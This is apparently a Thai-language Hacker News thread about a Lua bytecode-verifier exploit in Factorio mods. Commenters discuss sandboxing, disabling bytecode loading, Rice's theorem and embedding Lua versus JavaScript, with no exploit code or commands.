      มันไม่ใช่แค่การตัดสินใจทางธุรกิจง่าย ๆ เพื่อบังคับให้ใช้บริการออนไลน์อย่างเป็นทางการเท่านั้น หากปิดกั้นการเชื่อมต่อไปยัง IP เซิร์ฟเวอร์บุคคลที่สาม ต่อให้โค้ดเครือข่ายหรือส่วนอื่น ๆ ของเกมมีบั๊กร้ายแรง ก็จะไม่มีทางถูกนำไปใช้โจมตีได้ การจำกัดม็อด แม้แต่ม็อดที่ “ปลอดภัย” อย่าง Lua ก็ช่วยป้องกัน exploit ได้มากขึ้น
      ในอดีต โค้ดเครือข่ายที่มีบั๊กจำนวนมากเคยทำให้ DRM ของคอนโซลหลายรุ่นพังมาแล้ว
      นอกจาก exploit แล้ว คอนโซลยังภูมิใจกับการที่โค้ดต้องผ่านการตรวจสอบก่อนเผยแพร่ การอนุญาตให้รัน Lua บนระบบระยะไกลหมายความว่าแม้หลังผ่านการอนุมัติแล้ว เกมก็ยังถูกปรับโครงสร้างใหม่จากระยะไกลโดยตัวนักพัฒนาเองได้ และผู้ผลิตคอนโซลย่อมไม่อยากอนุญาตสิ่งนี้หากไม่ได้ตรวจอย่างละเอียดมาก
    • ดังนั้นควรมีคอมพิวเตอร์สำหรับเล่นเกมแยกต่างหาก ทางที่ดีอย่าใส่เอกสารสำคัญหรือข้อมูลงานไว้เลย
      ตามอุดมคติควรแยกไว้ในเครื่องเสมือน แต่การตั้งค่า เครื่องเสมือนสำหรับเล่นเกม นั้นยุ่งยากมาก และอาจถูกกันออกจากเกมบางเกมที่ใช้ anti-cheat
    • แนวปฏิบัติด้านโค้ดอะไรกัน? Factorio จัดอยู่ในกลุ่มซอฟต์แวร์ที่เขียนโปรแกรมได้ดีที่สุด เสถียรที่สุด และสม่ำเสมอที่สุดเท่าที่เคยเห็นมา
      เมื่อคิดว่าสาขาอื่น ๆ ต้องการคนที่เขียนโปรแกรมเก่งอย่างยิ่ง ก็แทบจะน่าเสียดายที่คนมีฝีมือไปทำงานในวงการเกม
  • โดยทั่วไป การตรวจพิสูจน์โปรแกรมนั้นยากสุด ๆ ไม่ใช่แค่เพราะทฤษฎีบทของ Rice เท่านั้น โดยเฉพาะในภาษาไบต์โค้ดที่ไม่ใช่เรื่องเล็กอย่าง Lua จุดที่พลาดได้นั้นเกิดขึ้นง่ายมาก ตัวอย่างเช่น Wasm ไม่มี แนวคิดของ for loop
    หลังจากโปรเจกต์ต้นน้ำยอมแพ้ปัญหานี้เพราะยากเกินไป ก็แปลกที่นักพัฒนา Factorio พยายามแก้ verifier หรือเขียนเอง
    ฟังก์ชัน loadstring ของ Minetest ห้ามไบต์โค้ดโดยสมบูรณ์: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    น่าสงสัยว่าทำไมม็อด Factorio ถึงต้องมีความสามารถในการรันไบต์โค้ด Lua ดิบด้วย ถ้าไม่จำเป็น ก็ไม่ต้องมี verifier เลย
    การรันโค้ด Lua ที่ดาวน์โหลดมาทางเครือข่ายตั้งแต่แรกค่อนข้างอันตราย สภาพแวดล้อมรัน JavaScript ผ่านวงจรการค้นพบและแก้ exploit มาหลายสิบปีแล้ว Lua ก็มีเรื่องแบบนั้นเหมือนกัน แต่ขนาดเล็กกว่าและมีบุคลากรสำหรับปรับปรุงความปลอดภัยน้อยกว่า
    มาตรการป้องกันหลักอาจเป็นแค่ว่ามีคนที่รันเซิร์ฟเวอร์เกมประสงค์ร้ายน้อยกว่า

    • Factorio ตอบสนองต่อปัญหานี้ด้วยการ ปิดใช้งานการโหลดไบต์โค้ด ไบต์โค้ดเคยทำให้ทำสิ่งเจ๋ง ๆ ได้ เช่น เขียนม็อดด้วยภาษาพรีโปรเซสเซอร์ที่ปล่อยไบต์โค้ด Lua ออกมา แต่สุดท้ายประเด็นความปลอดภัยสำคัญกว่า
      ด้วยเหตุผลด้านความปลอดภัยคล้ายกัน ไลบรารี debug แทบทั้งหมดก็ถูกทำให้ใช้ในม็อดไม่ได้
    • ท้ายที่สุด นักพัฒนาเกมทุกคนต้องเรียนรู้แบบเจ็บปวดว่าควรลบ ฟีเจอร์ไบต์โค้ด ออกจากฟังก์ชัน loadstring() ของ Lua
      ตัวอย่างเช่น มีบทความที่นักพัฒนา ROBLOX เขียนไว้เมื่อ 12 ปีก่อน: https://archive.is/oXPyM
      พูดตรง ๆ คือปิดไว้เป็นค่าเริ่มต้นน่าจะดีกว่า การใช้งานที่ชอบธรรมค่อนข้างเฉพาะกลุ่มมาก
    • Factorio ยังมีสิ่งแบบนี้ด้วย: https://mods.factorio.com/mod/Moon_Logic
      อีกทั้งการสร้างซอฟต์แวร์ที่ไม่สามารถรันได้เฉย ๆ ในสภาพแวดล้อมที่ Turing-complete นั้นค่อนข้างมีข้อจำกัด
      อย่างไรก็ดี สิ่งที่ต้องมีจริง ๆ คือ interpreter ที่รวม ระบบสิทธิ์ อันแข็งแรงไว้ด้วย
    • ทฤษฎีบทของ Rice ดูจะไม่ใช่ประเด็นหลักตรงนี้ อาจมีประโยชน์ในฐานะตัวกรองแรก ถ้าคุณเชื่อว่าสามารถตัดสินเรื่องนี้ได้อย่างถูกต้อง “เฉย ๆ” ก็ควรหยุด เพราะ Henry Rice พิสูจน์ไปเมื่อครึ่งศตวรรษก่อนแล้วว่ามันเป็นไปไม่ได้ และได้ปริญญาเอกจากเรื่องนั้น
      แต่ถ้ายอมประนีประนอมว่าจะรับเพียงบางส่วนของอินพุตที่ตรงตามข้อกำหนดจริง ทฤษฎีบทของ Rice ก็จบตรงนั้น ตอนนี้เหลือแค่งานที่ยากสุดขีดแทนงานที่เป็นไปไม่ได้
      ต่อให้ล้มเหลว อย่างน้อยก็อาจปลอบใจได้ว่าจะไม่มีใครมาบอกว่ามันเป็นสิ่งที่เป็นไปไม่ได้
      Factorio ไม่ควรเลือกเส้นทางนี้
    • ทฤษฎีบทของ Rice ใช้กับกรณีนี้ไม่ได้ ภายใต้นิยาม “syntax” แบบกว้างที่ทฤษฎีบทของ Rice ใช้ สิ่งที่พยายามตรวจพิสูจน์ในไบต์โค้ดนั้นจัดเป็น syntax
  • คำถามมือใหม่สุด ๆ คือ ทำไมเกมถึงใช้ Lua และไม่ใช้ JavaScript แบบฝังในตัว ที่มีอินเทอร์เฟซที่กำหนดไว้ เช่น API สำหรับปรับสถานะเกม
    ดูเหมือนว่าจะได้ประโยชน์จากงานเสริมความแข็งแกร่งที่มากกว่ามากซึ่งทุ่มให้กับการแยกสภาพแวดล้อมของเบราว์เซอร์ เบราว์เซอร์เป็นเป้าหมายที่ยาก ถูกทดสอบมาอย่างดีมาก และมีเงินทุนสูง
    การปรับประสิทธิภาพของ dynamic typing ก็ถูกทุ่มงานไปมหาศาลเช่นกัน
    แถมถ้าม็อดต้องการ UI ก็มี canvas และถ้าให้โมเดลคล้าย DOM ก็อาจใช้สิ่งอย่าง React ได้ด้วย

    • จากที่เคยลองเมื่อหลายปีก่อน เอนจิน JavaScript ส่วนใหญ่เก่าและแทบไม่ได้รับการบำรุงรักษา ส่วนเอนจินที่ใช้ในเบราว์เซอร์ถูกสร้างมาโดยให้ เบราว์เซอร์มาก่อน จึงไม่ได้ออกแบบมาให้ผสานรวมได้ง่าย
      Lua ถูกสร้างมาเพื่อการผสานรวมโดยเฉพาะ จึงมีเอกสารมากและมีชุมชนใหญ่รองรับ
    • เอนจิน JavaScript ส่วนใหญ่ฝังใช้งานยากกว่า Lua มาก Lua จัดอยู่ในกลุ่มซอฟต์แวร์ที่คอมไพล์ง่ายที่สุดเท่าที่นึกออก
      อีกอย่าง คุณกำลังสับสนระหว่าง API ทั่วไปของเบราว์เซอร์กับ JavaScript เอนจิน JavaScript ไม่ได้ให้ canvas หรือ DOM มาให้ ตัวอย่างเช่น V8 ก็ไม่ได้ให้ สิ่งเหล่านั้นต้องเพิ่มเอง
  • ผมไม่ใช่นักพัฒนาด้านความปลอดภัย แต่ตามธรรมเนียมก็อยากพูดว่า “ว้าว อันนี้น่าประทับใจมาก!” ไม่น่าเชื่อเลยว่าต้องคิดอย่างชัดเจนและเป็นตรรกะแค่ไหนถึงจะไล่ตามกรณีความล้มเหลวที่ซับซ้อนแบบนี้ได้ แน่นอนว่านี่ไม่ใช่จุดแข็งของผม ผมน่าจะเป็นสาย “คนคิดไอเดีย” มากกว่าเยอะ
    ในแง่เนื้อหา ถ้ามี กลุ่มวิศวกรซอฟต์แวร์ AI ที่ติดตั้งบทความบล็อก 10,000 ชิ้นเกี่ยวกับการหา memory exploit แปลก ๆ แบบนี้ขึ้นมา เราน่าจะจบเห่กันจริง ๆ
    สุดท้ายแล้วผมคิดว่าเราต้องมี paradigm ใหม่ทั้งหมดสำหรับความปลอดภัย หรืออย่างน้อยก็ต้องมีองค์ประกอบใหม่ใน stack การพูดถึงไคลเอนต์หรือบทบาท DB ที่ “เชื่อถือได้” ในยุคนี้ ให้ความรู้สึกเหมือนกำลังอุดรูชีสสวิสอยู่
    หวังว่าเราจะวางชั้นชีสสวิสใหม่ที่ LLM ดูแลเพิ่มเข้าไปได้อีกชั้นหนึ่ง

    • มีคนทำอยู่แล้ว ผลลัพธ์ยังดูไม่ค่อยมีแวว
  • งั้นนี่ไม่ใช่การแสดง exploit ที่อาศัย การโหลดไบต์โค้ด ซึ่งเป็นฟีเจอร์ที่ถูกโฆษณาว่าเอาไปใช้ในทางที่ผิดได้อยู่แล้วหรอกเหรอ? ผมพลาดอะไรไปหรือเปล่า?

    • จุดที่น่าสนใจคือ นักพัฒนา Lua พลาดหนักแค่ไหนในตัวตรวจสอบไบต์โค้ด มันไม่ใช่ปัญหาซับซ้อน แต่เป็นเรื่องง่าย ๆ อย่าง ข้อผิดพลาด off-by-one ตอนโมเดลคำสั่งพื้นฐานอย่าง jmp หรือปัญหาที่ตัวแปลภาษา Lua พยายามตีความทุกอย่างที่เจอว่าเป็นคำสั่ง
      ถึงขั้นพยายามตีความ data section ที่ตัวตรวจสอบไม่ได้แตะต้องด้วย
    • ต่อให้เป็นฟีเจอร์ที่โฆษณาไว้ ก็ยังทำร้ายผู้ใช้ปลายทางที่ไม่รู้ว่า Lua หรือไบต์โค้ดคืออะไรได้
    • มีบั๊กใน bytecode interpreter ทำให้สามารถ รันไบต์โค้ดใด ๆ ก็ได้ แม้ในสภาพแวดล้อมที่ปิด loadstring ไปแล้ว
  • ดีจริง ๆ ที่คนเก่งขนาดนี้อยู่ฝ่ายดี

    • เหมือนจะแสดงให้เห็นว่ามีคนจำนวนมากแค่ไหนที่โดยพื้นฐานแล้วเป็นคนดี หรือไม่ทำร้ายผู้อื่น ผมไม่แน่ใจว่าคำภาษาอังกฤษที่เหมาะคืออะไร
      สื่อข่าวทำให้เราเชื่อในทางตรงกันข้าม และคอมเมนต์เฉลี่ย ๆ ใต้ข่าวพวกนั้นก็ยิ่งตอกย้ำความเชื่อนั้น แต่ถ้ามันเป็นอย่างนั้นจริง ๆ เราจะมีความฟุ่มเฟือยหลายอย่าง รวมถึงโครงการด้านการแพทย์และสวัสดิการสังคมที่เราได้ใช้กันอยู่ได้อย่างไร
      ไม่ได้หมายความว่าโลกไม่มีปัญหา แต่ชัดเจนว่ามี คนที่สร้างสรรค์ มากกว่าคนที่ชอบทำลายอยู่มาก
      ผมเพิ่งมาจากเธรด HN เกี่ยวกับ Panama Papers เลยยิ่งคิดเรื่องนี้อยู่ข้างหน้า ที่นั่นบรรยากาศออกจะเหยียดหยันว่าคนรวยทุกคนชั่ว และทุกคนรอดพ้นจากการถูกดำเนินคดีโดยสมบูรณ์ แต่จริง ๆ แล้วมีหลายคอมเมนต์ชี้ได้ดีว่าทั้งสองอย่างไม่จริง เพียงแต่ต้องอ่านลึกลงไปในเธรดหน่อยและอย่าถูกกระแสเหยียดหยันพัดไป
  • ผมคิดว่าไม่ควรใช้ไบต์โค้ด Lua เลย นอกเหนือจากใน ระบบฝังตัว ที่มีทรัพยากรไม่พอจะรัน parser ของซอร์สโค้ด Lua
    นอกจากช่องโหว่ด้านความปลอดภัยแล้ว การใช้งานเดียวที่ดูมีประโยชน์คือโปรแกรมซอร์สปิดเท่านั้น

  • ผมอาจพลาดไปก็ได้ แต่ยอมรับว่าอ่านช่วงท้ายแบบผ่าน ๆ ดูเหมือนผู้เขียนจะไม่ได้พูดเลยว่ามี มาตรการบรรเทา อะไรเกิดขึ้นจริงบ้าง ผมอยากฟังส่วนนั้นเพิ่มเติม